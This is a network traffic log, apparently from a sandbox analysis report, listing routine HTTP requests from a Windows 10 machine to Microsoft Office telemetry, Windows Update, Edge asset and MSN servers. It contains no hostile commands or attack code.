Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cSsvaOzKhELEzfH&MD=ydFHuBDP HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733262763&P2=404&P3=2&P4=LC%2f0iiTQvTk1sA%2b5IhHJo8Q5uDnHY%2buOz19cm4o%2bwyD350RAM3LlJLJRGQFASpM7KlFqxXYrxVU9cGWlaMU42g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: iqb5tcq5m+syq//8cfr3qoSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732657979624&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0AACE1577F9E67D0137AF4147E876674&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732657979623&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=77db7b96657a471197e809d0cad53a03&activityId=77db7b96657a471197e809d0cad53a03&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EC024681FB45440883096ED51DE31D2A&RedC=c.msn.com&MXFR=0AACE1577F9E67D0137AF4147E876674 HTTP/1.1Host: c.bing.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-MS-GEC: 7353B364F5C165A1EC8927B2409BA5331300F91255377EE6F42C4F3A1462EBD0Sec-MS-GEC-Version: 1-117.0.2045.47Referer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
